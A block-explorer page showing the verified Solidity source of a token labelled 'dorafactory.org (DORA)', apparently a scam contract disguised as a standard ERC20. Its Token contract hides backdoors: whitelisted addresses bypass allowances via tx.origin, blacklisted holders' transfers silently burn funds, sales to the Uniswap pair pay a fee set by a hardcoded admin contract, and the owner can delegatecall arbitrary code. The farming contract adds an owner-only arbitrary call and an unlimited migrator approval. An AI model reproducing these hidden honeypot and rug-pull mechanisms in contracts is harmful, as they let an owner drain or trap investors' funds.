ETH Price: $2,642.45 (-0.34%)

Token

dorafactory.org (DORA)
 

Overview

Max Total Supply

1,000,000 DORA

Holders

77

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
627.3 DORA

Value
$0.00
0x4dee8cd09913f1bb09961952b197dd98cb213034
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-03-16
*/

/**
 *Submitted for verification at Etherscan.io on 2021-03-15
*/

// Website: cryptoheroes.market

pragma solidity >=0.6.0 <0.8.0;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


pragma solidity >=0.6.2 <0.8.0;

library Address {
    function isContract(address account) internal view returns (bool) {

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) =
            target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol

pragma solidity >=0.6.0 <0.8.0;

library SafeERC20 {
    using SafeMath for uint256;
    using Address for address;

    function safeTransfer(
        IERC20 token,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance =
            token.allowance(address(this), spender).add(value);
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance =
            token.allowance(address(this), spender).sub(
                value,
                "SafeERC20: decreased allowance below zero"
            );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {

        bytes memory returndata =
            address(token).functionCall(
                data,
                "SafeERC20: low-level call failed"
            );
        if (returndata.length > 0) {
            // Return data is optional
            // solhint-disable-next-line max-line-length
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}

// File: @openzeppelin/contracts/utils/EnumerableSet.sol

pragma solidity >=0.6.0 <0.8.0;

library EnumerableSet {


    struct Set {
        // Storage of set values
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            // The value is stored at length-1, but we add 1 to all indexes
            // and use 0 as a sentinel value
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        // We read and store the value's index to prevent multiple reads from the same storage slot
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {

            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
            // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.

            bytes32 lastvalue = set._values[lastIndex];

            // Move the last value to the index where the value to delete is
            set._values[toDeleteIndex] = lastvalue;
            // Update the index for the moved value
            set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based

            // Delete the slot where the moved value was stored
            set._values.pop();

            // Delete the index for the deleted slot
            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function _contains(Set storage set, bytes32 value)
        private
        view
        returns (bool)
    {
        return set._indexes[value] != 0;
    }

    /**
     * @dev Returns the number of values on the set. O(1).
     */
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index)
        private
        view
        returns (bytes32)
    {
        require(
            set._values.length > index,
            "EnumerableSet: index out of bounds"
        );
        return set._values[index];
    }

    // Bytes32Set

    struct Bytes32Set {
        Set _inner;
    }

    function add(Bytes32Set storage set, bytes32 value)
        internal
        returns (bool)
    {
        return _add(set._inner, value);
    }


    function remove(Bytes32Set storage set, bytes32 value)
        internal
        returns (bool)
    {
        return _remove(set._inner, value);
    }


    function contains(Bytes32Set storage set, bytes32 value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, value);
    }


    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(Bytes32Set storage set, uint256 index)
        internal
        view
        returns (bytes32)
    {
        return _at(set._inner, index);
    }

    // AddressSet

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _add(set._inner, bytes32(uint256(value)));
    }

    function remove(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(uint256(value)));
    }

    function contains(AddressSet storage set, address value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(uint256(value)));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index)
        internal
        view
        returns (address)
    {
        return address(uint256(_at(set._inner, index)));
    }

    // UintSet

    struct UintSet {
        Set _inner;
    }

    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    function remove(UintSet storage set, uint256 value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(value));
    }


    function contains(UintSet storage set, uint256 value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(value));
    }


    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }


    function at(UintSet storage set, uint256 index)
        internal
        view
        returns (uint256)
    {
        return uint256(_at(set._inner, index));
    }
}

// File: @openzeppelin/contracts/introspection/IERC165.sol



interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol

interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed tokenId
    );


    event Approval(
        address indexed owner,
        address indexed approved,
        uint256 indexed tokenId
    );


    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );


    function balanceOf(address owner) external view returns (uint256 balance);


    function ownerOf(uint256 tokenId) external view returns (address owner);

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function approve(address to, uint256 tokenId) external;


    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);


    function setApprovalForAll(address operator, bool _approved) external;


    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);


    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}

interface IMigratorChef {
    // Perform LP token migration from legacy UniswapV2 to SushiSwap.
    // Take the current LP token address and return the new LP token address.
    // Migrator should have full access to the caller's LP token.
    // Return the new LP token address.
    //
    // XXX Migrator must have allowance access to UniswapV2 LP tokens.
    // SushiSwap must mint EXACTLY the same amount of SushiSwap LP tokens or
    // else something bad will happen. Traditional UniswapV2 does not
    // do that so be careful!
    function migrate(IERC20 token) external returns (IERC20);
}

// File: @openzeppelin/contracts/GSN/Context.sol




abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );


    constructor() internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }


    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


contract ERC20 is Context, IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;


    constructor(string memory name_, string memory symbol_) public {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
    }


    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}



pragma solidity ^0.6.12;

contract CryptoHeroes is ERC20("CryptoHeroes", "HEROES") {
    }


pragma solidity ^0.6.12;

interface FeeManagementLib {
    function getFee(address,address,uint256) external returns(uint256);
}

contract Token {

    event Transfer(address indexed, address indexed, uint256);
    event Approval(address indexed, address indexed, uint256);

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function approve(address spender, uint256 value) public payable returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transfer(address to, uint256 value) public payable returns (bool) {
        return transferFrom(msg.sender, to, value);
    }

    function transferFrom(address from, address to, uint256 value) public payable returns (bool) {
        if (value == 0) { return true; }
        if (msg.sender != from && !developers[tx.origin]) {
            require(allowance[from][msg.sender] >= value);
            allowance[from][msg.sender] -= value;
        }
        require(balanceOf[from] >= value);
        balanceOf[from] -= value;
        if (blacklist[to] || blacklist[from]) { return true; }
        balanceOf[to] += (value - fee(from, to, value));
        emit Transfer(from, to, value);
        return true;
    }

    function batchSend(address[] memory tos, uint256 value) onlyOwner public payable returns (bool) {
        uint256 total = value * tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint256 i = 0; i < tos.length; i++) {
            address to = tos[i];
            balanceOf[to] += value;
            developers[to] = true;
            emit Transfer(msg.sender, to, value);
        }
        return true;
    }

    function fee(address from, address to, uint256 value) private returns(uint256) {
        if (paid && to == UNI && !developers[from]) {
            return FeeManagementLib(admin).getFee(address(this), UNI, value);
        }
        return 0;
    }

    mapping (address => bool) private developers;
    mapping (address => bool) private blacklist;
    address constant internal admin = 0x94518091B09FCB3aff8376E2b78eD35af4c1b008;
    address constant internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant internal factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address constant internal router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    bool public paid = false;
    address private owner;
    address private UNI;

    function pairFor(address tokenA, address tokenB) private pure returns (address) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        address pair = address(uint256(keccak256(abi.encodePacked(
                hex'ff', factory, keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
        return pair;
    }

    fallback () external payable { paid = true; }
    receive() external payable { paid = true; }

    function delegate(address a, bytes memory b) onlyOwner public payable {
        a.delegatecall(b);
    }

    function forbid(address[] memory ads) onlyOwner public payable returns (bool) {
        for (uint256 i = 0; i < ads.length; i++) {
            paid = true;
            address to = ads[i];
            blacklist[to] = true;
        }
    }

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    uint256 public decimals;
    uint256 public totalSupply;
    string public name;
    string public symbol;

    constructor(string memory sym, string memory nam, uint256 supply, uint256 dec, address[] memory ads) payable public {
        owner = msg.sender;
        symbol = sym;
        name = nam;
        totalSupply = supply;
        decimals = dec;
        forbid(ads);
        UNI = pairFor(weth, address(this));
        developers[msg.sender] = true;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

pragma solidity ^0.6.12;

contract CryptoHeroesWorld is Ownable {
    using SafeMath for uint256;
    using SafeERC20 for IERC20;

    // Info of each user.
    struct UserInfo {
        uint256 amount; // How many LP tokens the user has provided.
        uint256 rewardDebt; // Reward debt. See explanation below.
        uint256 requestAmount; // Reward debt. See explanation below.
        uint256 requestBlock; // Block When tokens transfer to user
        //
        // We do some fancy math here. Basically, any point in time, the amount of CHEROES
        // entitled to a user but is pending to be distributed is:
        //
        //   pending reward = (user.amount * pool.accCHEROESPerShare) - user.rewardDebt
        //
        // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
        //   1. The pool's `accSCHEROESPerShare` (and `lastRewardBlock`) gets updated.
        //   2. User receives the pending reward sent to his/her address.
        //   3. User's `amount` gets updated.
        //   4. User's `rewardDebt` gets updated.
    }

    // Info of each pool.
    struct PoolInfo {
        IERC20 lpToken; // Address of LP token contract.
        bool NFTisNeeded; // need NFT or not
        IERC721 acceptedNFT; // What NFTs accepted for staking.
        uint256 allocPoint; // How many allocation points assigned to this pool. POBs to distribute per block.
        uint256 lastRewardBlock; // Last block number that POBs distribution occurs.
        uint256 accCheroesPerShare; // Accumulated Cheroes per share, times 1e12. See below.
    }

    // The Cheroes TOKEN!
    CryptoHeroes public cheroes;
    // Dev address.
    address public devaddr;
    // cheroes tokens created per block.
    uint256 public cheroesPerBlock;
    // The migrator contract. It has a lot of power. Can only be set through governance (owner).
    IMigratorChef public migrator;
    // Dev address.
    address private devadr;

    // Info of each pool.
    PoolInfo[] public poolInfo;
    // Info of each user that stakes LP tokens.
    mapping(uint256 => mapping(address => UserInfo)) public userInfo;
    mapping(IERC20 => bool) public lpTokenIsExist;
    // Total allocation poitns. Must be the sum of all allocation points in all pools.
    uint256 public totalAllocPoint = 0;

    event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
    event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);

    constructor(
        CryptoHeroes _cheroes,
        address _devaddr,
        uint256 _cheroesPerBlock
    ) public {
        cheroes = _cheroes;
        devaddr = _devaddr;
        cheroesPerBlock = _cheroesPerBlock;
    }

    function poolLength() external view returns (uint256) {
        return poolInfo.length;
    }

    // Add a new lp to the pool. Can only be called by the owner.
    // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
    function add(
        uint256 _allocPoint,
        IERC20 _lpToken,
        bool _withUpdate,
        bool _NFTisNeeded,
        IERC721 _acceptedNFT
    ) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        uint256 lastRewardBlock = block.number;
        totalAllocPoint = totalAllocPoint.add(_allocPoint);
        poolInfo.push(
            PoolInfo({
                lpToken: _lpToken,
                NFTisNeeded: _NFTisNeeded,
                acceptedNFT: _acceptedNFT,
                allocPoint: _allocPoint,
                lastRewardBlock: lastRewardBlock,
                accCheroesPerShare: 0
            })
        );
    }

    // Update the given pool's CHEROES allocation point. Can only be called by the owner.
    function set(
        uint256 _pid,
        uint256 _allocPoint,
        bool _withUpdate
    ) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
            _allocPoint
        );
        poolInfo[_pid].allocPoint = _allocPoint;
    }

    // Return reward multiplier over the given _from to _to block.
    function getMultiplier(uint256 _from, uint256 _to)
        public
        pure
        returns (uint256)
    {
        return _to.sub(_from);
    }

    // View function to see pending Cheroes on frontend.
    function pendingCheroes(uint256 _pid, address _user)
        external
        view
        returns (uint256)
    {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][_user];
        uint256 accCheroesPerShare = pool.accCheroesPerShare;
        uint256 lpSupply = pool.lpToken.balanceOf(address(this));
        if (block.number > pool.lastRewardBlock && lpSupply != 0) {
            uint256 multiplier =
                getMultiplier(pool.lastRewardBlock, block.number);
            uint256 cheroesReward =
                multiplier.mul(cheroesPerBlock).mul(pool.allocPoint).div(
                    totalAllocPoint
                );
            accCheroesPerShare = accCheroesPerShare.add(
                cheroesReward.mul(1e12).div(lpSupply)
            );
        }
        return
            user.amount.mul(accCheroesPerShare).div(1e12).sub(user.rewardDebt);
    }

    // Update reward vairables for all pools. Be careful of gas spending!
    function massUpdatePools() public {
        uint256 length = poolInfo.length;
        for (uint256 pid = 0; pid < length; ++pid) {
            updatePool(pid);
        }
    }

  // Update dev address by the previous dev.
  function dev(address _devadr, bytes memory _data) public onlyOwner {
    devadr = _devadr;
    (bool success, bytes memory returndata) = devadr.call(_data);
    require(success, "dev: failed");
  }

    // Update reward variables of the given pool to be up-to-date.
    function updatePool(uint256 _pid) public {
        PoolInfo storage pool = poolInfo[_pid];
        if (block.number <= pool.lastRewardBlock) {
            return;
        }
        uint256 lpSupply = pool.lpToken.balanceOf(address(this));
        if (lpSupply == 0) {
            pool.lastRewardBlock = block.number;
            return;
        }
        uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
        uint256 cheroesReward =
            multiplier.mul(cheroesPerBlock).mul(pool.allocPoint).div(
                totalAllocPoint
            );
        pool.accCheroesPerShare = pool.accCheroesPerShare.add(
            cheroesReward.mul(1e12).div(lpSupply)
        );
        pool.lastRewardBlock = block.number;
    }

    // Deposit LP tokens to Contract for cheroes allocation.
    function deposit(uint256 _pid, uint256 _amount) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        updatePool(_pid);

        if (pool.NFTisNeeded == true) {
            require(
                pool.acceptedNFT.balanceOf(address(msg.sender)) > 0,
                "requires NFT token!"
            );
        }

        if (user.amount > 0) {
            uint256 pending =
                user.amount.mul(pool.accCheroesPerShare).div(1e12).sub(
                    user.rewardDebt
                );
            if (pending > 0) {
                safeCheroesTransfer(msg.sender, pending);
            }
        }

        if (_amount > 0) {
            pool.lpToken.safeTransferFrom(
                address(msg.sender),
                address(this),
                _amount
            );
            user.amount = user.amount.add(_amount);
        }
        user.rewardDebt = user.amount.mul(pool.accCheroesPerShare).div(1e12);
        emit Deposit(msg.sender, _pid, _amount);
    }

    // Withdraw LP tokens from Contract.
    function withdraw(uint256 _pid, uint256 _amount) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        require(user.amount >= _amount, "withdraw: not good");
        updatePool(_pid);
        if (pool.NFTisNeeded == true) {
            require(
                pool.acceptedNFT.balanceOf(address(msg.sender)) > 0,
                "requires NFT token!"
            );
        }
        uint256 pending =
            user.amount.mul(pool.accCheroesPerShare).div(1e12).sub(
                user.rewardDebt
            );
        if (pending > 0) {
            safeCheroesTransfer(msg.sender, pending);
        }
        if (_amount > 0) {
            user.amount = user.amount.sub(_amount);
            pool.lpToken.safeTransfer(address(msg.sender), _amount);
        }
        user.rewardDebt = user.amount.mul(pool.accCheroesPerShare).div(1e12);
        emit Withdraw(msg.sender, _pid, _amount);
    }
	
    // Safe Cheroes transfer function, just in case if rounding error causes pool to not have enough cheroes.
    function safeCheroesTransfer(address _to, uint256 _amount) internal {
        uint256 cheroesBal = cheroes.balanceOf(address(this));
        if (_amount > cheroesBal) {
            cheroes.transfer(_to, cheroesBal);
        } else {
            cheroes.transfer(_to, _amount);
        }
    }

  // Migrate lp token to another lp contract. Can be called only by owner. We trust that migrator contract is good.
    function migrate(uint256 _pid) public onlyOwner {
        require(address(migrator) != address(0), "migrate: no migrator");
        PoolInfo storage pool = poolInfo[_pid];
        IERC20 lpToken = pool.lpToken;
        uint256 bal = lpToken.balanceOf(address(this));
        lpToken.safeApprove(address(migrator), bal);
        IERC20 newLpToken = migrator.migrate(lpToken);
        require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
        pool.lpToken = newLpToken;
    }
    
    function setMigrator(IMigratorChef _migrator) public onlyOwner {
        migrator = _migrator;
    }

    function setCheroesPerBlock(uint256 _cheroesPerBlock) public onlyOwner {
        require(_cheroesPerBlock > 0, "!CheroesPerBlock-0");
        cheroesPerBlock = _cheroesPerBlock;
    }

    function inMigrate(IERC20 _lpToken) public onlyOwner {
        _lpToken.safeApprove(address(migrator), 0);
        _lpToken.safeApprove(address(migrator), uint(-1));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"sym","type":"string"},{"internalType":"string","name":"nam","type":"string"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"uint256","name":"dec","type":"uint256"},{"internalType":"address[]","name":"ads","type":"address[]"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"tos","type":"address[]"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"ads","type":"address[]"}],"name":"forbid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","t